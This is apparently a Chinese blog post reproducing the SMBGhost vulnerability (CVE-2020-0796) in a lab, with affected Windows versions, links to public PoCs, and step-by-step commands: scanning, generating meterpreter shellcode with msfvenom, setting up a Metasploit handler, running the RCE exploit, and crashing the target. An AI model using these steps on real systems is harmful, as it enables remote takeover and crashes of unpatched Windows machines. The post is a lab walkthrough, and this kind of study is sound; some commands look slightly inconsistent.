CVE-2020-0796漏洞复现

0x00 漏洞描述

2020年3月10日,微软在其官方SRC发布了CVE-2020-0796的安全公告(ADV200005,MicrosoftGuidance for Disabling SMBv3 Compression),公告表示在Windows SMBv3版本的客户端和服务端存在远程代码执行漏洞。同时指出该漏洞存在于MicroSoft Server Message Block 3.1.1协议处理特定请求包的功能中,攻击者利用该漏洞可在目标SMB Server或者Client中执行任意代码。

0x01 影响范围

  Windows 10 Version 1903 for 32-bit Systems

  Windows 10 Version 1903 for x64-based Systems
  Windows 10 Version 1903 for ARM64-based Systems
  Windows Server, Version 1903 (Server Core installation)
  Windows 10 Version 1909 for 32-bit Systems
  Windows 10 Version 1909 for x64-based Systems
  Windows 10 Version 1909 for ARM64-based Systems
  Windows Server, Version 1909 (Server Core installation)

0x02 漏洞复现

  1.准备工作:

  漏洞检测工具: https://github.com/ollypwn/SMBGhost

  远程漏洞利用POC:https://github.com/chompie1337/SMBGhost_RCE_PoC

  蓝屏POC:https://github.com/eerykitty/CVE-2020-0796-PoC

  kali机(攻击机):192.168.31.6

  靶机:windows 1903 :192.168.31.166

  2.漏洞检测

  

# python3 scanner.py 192.168.31.166

 

  

 

 

   3.漏洞利用

  远程利用poc:

  1)首先使用Kali的msfvenom生成一个python类型正向连接的shellcode。

    

msfvenom -p windows/meterpreter/reverse_tcp LHOST=3333 -b '\x00' -i 1 -f python

 

 

  2)将生成的 shellcode 替换 远程利用POC 中 exploit.py 里的USER_PAYLOAD字段,注意要将buf替换为USER_PAYLOAD

  3)打开msfconsole 

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
show options
set rhost 192.168.31.166
set lport 3333
run​

 

   4)切换至远程利用poc目录下:

    

python3 exploit.py -ip 192.168.31.166

  注意:运行该命令如果出现 “physical read primitive failed!”错误(多次尝试。如果发现还是这个报错则到https://msdn.itellyou.cn/重新安装镜像文件。)

  5)当成功运行起来后,出现到“[+] Press a key to execute shellcode!”执行shellcode按下“Enter”。

    注意:会大概率把Win10打蓝屏重启(重启后再操作)

        如果没有重启,但Kali中的监听端口却没有收到Shell,按下【Ctrl】+【C】,再重新执行run命令,就会收到meterpreter的Shell了。

  

 

   蓝屏POC:

切换至蓝屏POC下运行:

python3 CVE-2020-0796.py 192.168.31.166

 

posted @ 2020-09-03 11:16  whiteljw  阅读(1159)  评论(0)    收藏  举报